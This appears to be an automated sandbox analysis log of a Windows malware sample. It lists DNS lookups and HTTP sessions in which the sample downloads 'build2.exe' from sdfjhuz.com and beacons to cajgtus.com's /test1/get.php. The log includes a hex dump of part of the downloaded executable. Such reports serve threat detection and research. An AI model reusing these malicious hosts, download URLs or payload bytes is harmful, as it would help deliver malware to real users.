Apr 24, 2024 07:37:04.452552080 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	190.145.136.42	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452552080 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	190.147.2.86	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452552080 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	186.127.121.72	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452552080 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	211.119.84.111	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452552080 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	102.189.46.136	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452562094 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	85.11.159.22	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452562094 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	119.204.11.2	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452562094 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	188.52.178.41	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452562094 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	189.189.178.112	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452562094 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	201.103.73.225	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452562094 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	190.145.136.42	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452562094 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	190.147.2.86	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452562094 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	186.127.121.72	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452562094 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	211.119.84.111	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452562094 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	102.189.46.136	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.539477110 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	102.189.46.136	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.539477110 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	119.204.11.2	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.539477110 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	188.52.178.41	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.539477110 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	189.189.178.112	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.539477110 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	201.103.73.225	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.539477110 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	190.145.136.42	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.539477110 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	190.147.2.86	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.539477110 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	211.119.84.111	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.539477110 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	186.127.121.72	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.539477110 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	85.11.159.22	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:05.779278994 CEST	1.1.1.1	192.168.2.4	0xb39d	No error (0)	steamcommunity.com	184.30.90.143	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.2ip.ua

steamcommunity.com

95.217.9.149

sdfjhuz.com

cajgtus.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	123.140.161.243	80	5772	C:\Users\user\Desktop\8jvTeVxooN.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 07:37:03.288893938 CEST	91	OUT	GET /dl/build2.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: sdfjhuz.com
Apr 24, 2024 07:37:03.755590916 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Apr 2024 05:37:03 GMT Content-Type: application/octet-stream Content-Length: 296448 Last-Modified: Tue, 23 Apr 2024 19:19:16 GMT Connection: close ETag: "662809b4-48600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce d6 de 9e 8a b7 b0 cd 8a b7 b0 cd 8a b7 b0 cd 87 e5 6f cd 90 b7 b0 cd 87 e5 50 cd f6 b7 b0 cd 87 e5 51 cd a6 b7 b0 cd 83 cf 23 cd 83 b7 b0 cd 8a b7 b1 cd f8 b7 b0 cd 3f 29 55 cd 8b b7 b0 cd 87 e5 6b cd 8b b7 b0 cd 3f 29 6e cd 8b b7 b0 cd 52 69 63 68 8a b7 b0 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 47 05 fb 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 e6 00 00 00 30 60 01 00 00 00 00 6d 40 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 61 01 00 04 00 00 00 d6 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 dc 6a 01 00 64 00 00 00 00 40 60 01 66 ef 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 60 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 98 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 e4 00 00 00 10 00 00 00 e6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 50 74 00 00 00 00 01 00 00 76 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e4 b5 5e 01 00 80 01 00 00 36 02 00 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 66 ef 00 00 00 40 60 01 00 f0 00 00 00 96 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 0c 25 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$oPQ#?)Uk?)nRichPELGc0`m@@0ajd@`f8@`@.text `.rdataPtv@@.data^6`@.rsrcf@`@@%
Apr 24, 2024 07:37:03.755613089 CEST	1289	IN	Data Raw: a0 01 e8 4e 02 00 00 68 09 f4 40 00 e8 3f 26 00 00 59 c3 b9 14 25 a0 01 e8 a1 02 00 00 68 ff f3 40 00 e8 29 26 00 00 59 c3 b9 00 25 a0 01 e8 f8 02 00 00 68 f5 f3 40 00 e8 13 26 00 00 59 c3 6a 00 b9 08 25 a0 01 e8 ee 00 00 00 c3 6a 00 b9 fc 24 a0 Data Ascii: Nh@?&Y%h@)&Y%h@&Yj%j$j%j%UQQQQ$!]EYY]UVEP,A^],ANUVEtV%Y^]UE]UE8
Apr 24, 2024 07:37:03.755635023 CEST	1289	IN	Data Raw: 15 34 00 41 00 53 8d 85 b4 fb ff ff 50 53 ff 15 90 00 41 00 8d 45 c8 50 53 8d 45 b4 50 53 ff 15 88 00 41 00 53 53 53 53 53 53 53 ff 15 44 00 41 00 8b 45 f8 8b 0d f0 24 a0 01 2b f8 83 f9 0c 75 07 53 ff 15 80 00 41 00 8b c7 c1 e0 04 89 45 f4 8b 45 Data Ascii: 4ASPSAEPSEPSASSSSSSSDAE$+uSAEEEMUEEEEM3U3UME)ENt]MuE~_^[]V5$W=tNu_^UQeEE]UQQh^A
Apr 24, 2024 07:37:03.755758047 CEST	1289	IN	Data Raw: 44 53 f7 65 ec 8b 45 ec 81 6d fc f0 06 bd 57 81 6d cc f5 90 30 07 81 6d dc 7b e3 2f 6b 33 ff 81 3d f0 24 a0 01 00 04 00 00 75 57 57 57 57 ff 15 94 00 41 00 57 57 57 57 ff 15 60 00 41 00 57 ff 15 4c 00 41 00 57 57 57 57 ff 15 70 00 41 00 57 57 57 Data Ascii: DSeEmWm0m{/k3=$uWWWWAWWWW`AWLAWWWWpAWWWWAWW"WW"WWA8q Fr\|WtA{+F\|\|AW<AW8AX~}5EzuFT\|tA$h
Apr 24, 2024 07:37:03.755772114 CEST	1289	IN	Data Raw: 45 fc 02 50 e8 54 fd ff ff 8b c8 e8 98 00 00 00 89 45 e8 b8 37 1f 40 00 c3 83 4d fc ff 8b 7d e4 8b 75 e0 8b 5d e8 83 7d 0c 00 76 14 ff 75 0c 8b cf e8 07 ff ff ff 50 53 e8 aa f1 ff ff 83 c4 0c 6a 00 6a 01 8b cf e8 a3 fc ff ff 8d 45 e8 8b cf 50 57 Data Ascii: EPTE7@M}u]}vuPSjjEPWEPluwM_^d[]Mjj`jjH"UuY]U]UM.]UVM/UP'^]3
Apr 24, 2024 07:37:03.755809069 CEST	1289	IN	Data Raw: 6f 0e 83 e9 10 8d 76 10 66 0f 7f 0f 8d 7f 10 eb e8 0f ba e1 02 73 0d 8b 06 83 e9 04 8d 76 04 89 07 8d 7f 04 0f ba e1 03 73 11 f3 0f 7e 0e 83 e9 08 8d 76 08 66 0f d6 0f 8d 7f 08 8b 04 8d 98 25 40 00 ff e0 f7 c7 03 00 00 00 75 15 c1 e9 02 83 e2 03 Data Ascii: ovfsvs~vf%@ur*$%@r$$@$%@$,%@$@$@%@#FGFGr$%@I#FGr$%@#
Apr 24, 2024 07:37:03.755821943 CEST	1289	IN	Data Raw: ec 2c a1 a4 87 41 00 33 c5 89 45 fc 8b 45 08 8d 4d d4 53 56 8b 75 0c 57 ff 75 10 89 45 ec 8b 45 14 89 45 e4 e8 4b ff ff ff 8d 45 d4 33 ff 50 57 57 57 57 56 8d 45 e8 50 8d 45 f0 50 e8 f3 29 00 00 8b d8 83 c4 20 8b 45 e4 85 c0 74 05 8b 4d e8 89 08 Data Ascii: ,A3EEMSVuWuEEEKE3PWWWWVEPEP) EtMuEPd$YYutujutj_}tMapM_^3["]U(A3ESVuMWu}E3PSSSSVEPEPX)EEWPg(E
Apr 24, 2024 07:37:03.755882025 CEST	1289	IN	Data Raw: 2e 40 00 23 d1 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 c1 e9 02 88 47 02 83 c6 03 83 c7 03 83 f9 08 72 cc f3 a5 ff 24 95 18 2f 40 00 8d 49 00 23 d1 8a 06 88 07 8a 46 01 c1 e9 02 88 47 01 83 c6 02 83 c7 02 83 f9 08 72 a6 f3 a5 ff 24 95 18 2f 40 00 Data Ascii: .@#FGFGr$/@I#FGr$/@#r$/@I/@.@.@.@.@.@.@.@DDDDDDDDDDDDDD$/@(/@0/@</@P/@D$
Apr 24, 2024 07:37:03.755914927 CEST	1289	IN	Data Raw: 85 47 3c 00 00 ba 12 00 00 00 8d 0d 00 80 41 00 e8 40 3d 00 00 5a c3 55 8b ec 83 7d 08 00 74 2d ff 75 08 6a 00 ff 35 b4 b5 43 00 ff 15 b0 00 41 00 85 c0 75 18 56 e8 a7 36 00 00 8b f0 ff 15 ac 00 41 00 50 e8 ac 36 00 00 59 89 06 5e 5d c3 cc cc cc Data Ascii: G<A@=ZU}t-uj5CAuV6AP6Y^]L$t$tNu$$~3tAt2t$ttAL$+AL$+AL$+AL$+W\|$
Apr 24, 2024 07:37:03.755959988 CEST	1289	IN	Data Raw: 5e 01 00 00 8d 8d fc ef ff ff 85 ff 74 33 8b d1 03 d0 4f 3b ca 73 2a 8a 01 3c 0d 75 13 8d 42 ff 3b c8 73 18 8d 41 01 80 38 0a 75 10 8b c8 eb 0c 0f b6 c0 0f be 80 f0 8c 41 00 03 c8 41 85 ff 75 d1 8d 85 fc ef ff ff 2b f0 8d 04 31 e9 72 01 00 00 8b Data Ascii: ^t3O;s*<uB;sA8uAAu+1rCDt:uGB;ru .u619Xu+ppjC[D
Apr 24, 2024 07:37:04.047879934 CEST	1289	IN	Data Raw: 08 e8 c1 ff ff ff 59 ff 75 08 ff 15 c0 00 41 00 cc 55 8b ec e8 bc 53 00 00 ff 75 08 e8 11 54 00 00 59 68 ff 00 00 00 e8 a3 00 00 00 cc 6a 01 6a 01 6a 00 e8 4d 01 00 00 83 c4 0c c3 6a 01 6a 00 6a 00 e8 3e 01 00 00 83 c4 0c c3 55 8b ec 83 3d b0 10 Data Ascii: YuAUSuTYhjjjMjjj>U=AthAUYtuAYVhAhAYYuCh@k$AhAv=5YYth5UYtjjj53]Ujju]VjAVW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	85.11.159.22	80	2312	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 07:37:04.781080961 CEST	128	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 07:37:05.110435963 CEST	898	IN	HTTP/1.1 404 Not Found Server: Mini web server 1.0 ZTE corp 2005. Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=iso-8859-1 Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 27 2f 74 65 73 74 31 2f 67 65 74 2e 70 68 70 3f 70 69 64 3d 46 38 41 46 43 44 43 34 45 38 30 30 41 33 33 31 39 46 46 42 33 34 33 45 38 33 30 39 39 36 33 37 27 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 52 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 7a 74 65 2e 63 6f 6d 2e 63 6e 22 3e 4d 69 6e 69 20 77 65 62 20 73 65 72 76 65 72 20 31 2e 30 20 5a 54 45 20 63 6f 72 70 20 32 30 30 35 2e 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 42 4f 44 59 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL '/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637' was not found on this server. <HR> <ADDRESS><A HREF="http://www.zte.com.cn">Mini web server 1.0 ZTE corp 2005.</A></ADDRESS> </BODY> </HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	85.11.159.22	80	5772	C:\Users\user\Desktop\8jvTeVxooN.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 07:37:04.781169891 CEST	139	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 07:37:05.112338066 CEST	909	IN	HTTP/1.1 404 Not Found Server: Mini web server 1.0 ZTE corp 2005. Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=iso-8859-1 Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 27 2f 74 65 73 74 31 2f 67 65 74 2e 70 68 70 3f 70 69 64 3d 46 38 41 46 43 44 43 34 45 38 30 30 41 33 33 31 39 46 46 42 33 34 33 45 38 33 30 39 39 36 33 37 26 66 69 72 73 74 3d 74 72 75 65 27 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 52 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 7a 74 65 2e 63 6f 6d 2e 63 6e 22 3e 4d 69 6e 69 20 77 65 62 20 73 65 72 76 65 72 20 31 2e 30 20 5a 54 45 20 63 6f 72 70 20 32 30 30 35 2e 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 42 4f 44 59 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL '/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true' was not found on this server. <HR> <ADDRESS><A HREF="http://www.zte.com.cn">Mini web server 1.0 ZTE corp 2005.</A></ADDRESS> </BODY> </HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49736	85.11.159.22	80	5772	C:\Users\user\Desktop\8jvTeVxooN.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 07:37:05.598520041 CEST	96	OUT	GET /files/1/build3.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 07:37:05.926328897 CEST	866	IN	HTTP/1.1 404 Not Found Server: Mini web server 1.0 ZTE corp 2005. Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=iso-8859-1 Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 27 2f 66 69 6c 65 73 2f 31 2f 62 75 69 6c 64 33 2e 65 78 65 27 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 52 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 7a 74 65 2e 63 6f 6d 2e 63 6e 22 3e 4d 69 6e 69 20 77 65 62 20 73 65 72 76 65 72 20 31 2e 30 20 5a 54 45 20 63 6f 72 70 20 32 30 30 35 2e 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 42 4f 44 59 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL '/files/1/build3.exe' was not found on this server. <HR> <ADDRESS><A HREF="http://www.zte.com.cn">Mini web server 1.0 ZTE corp 2005.</A></ADDRESS> </BODY> </HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49741	85.11.159.22	80	5772	C:\Users\user\Desktop\8jvTeVxooN.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 07:37:10.597410917 CEST	139	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 07:37:10.925546885 CEST	909	IN	HTTP/1.1 404 Not Found Server: Mini web server 1.0 ZTE corp 2005. Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=iso-8859-1 Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 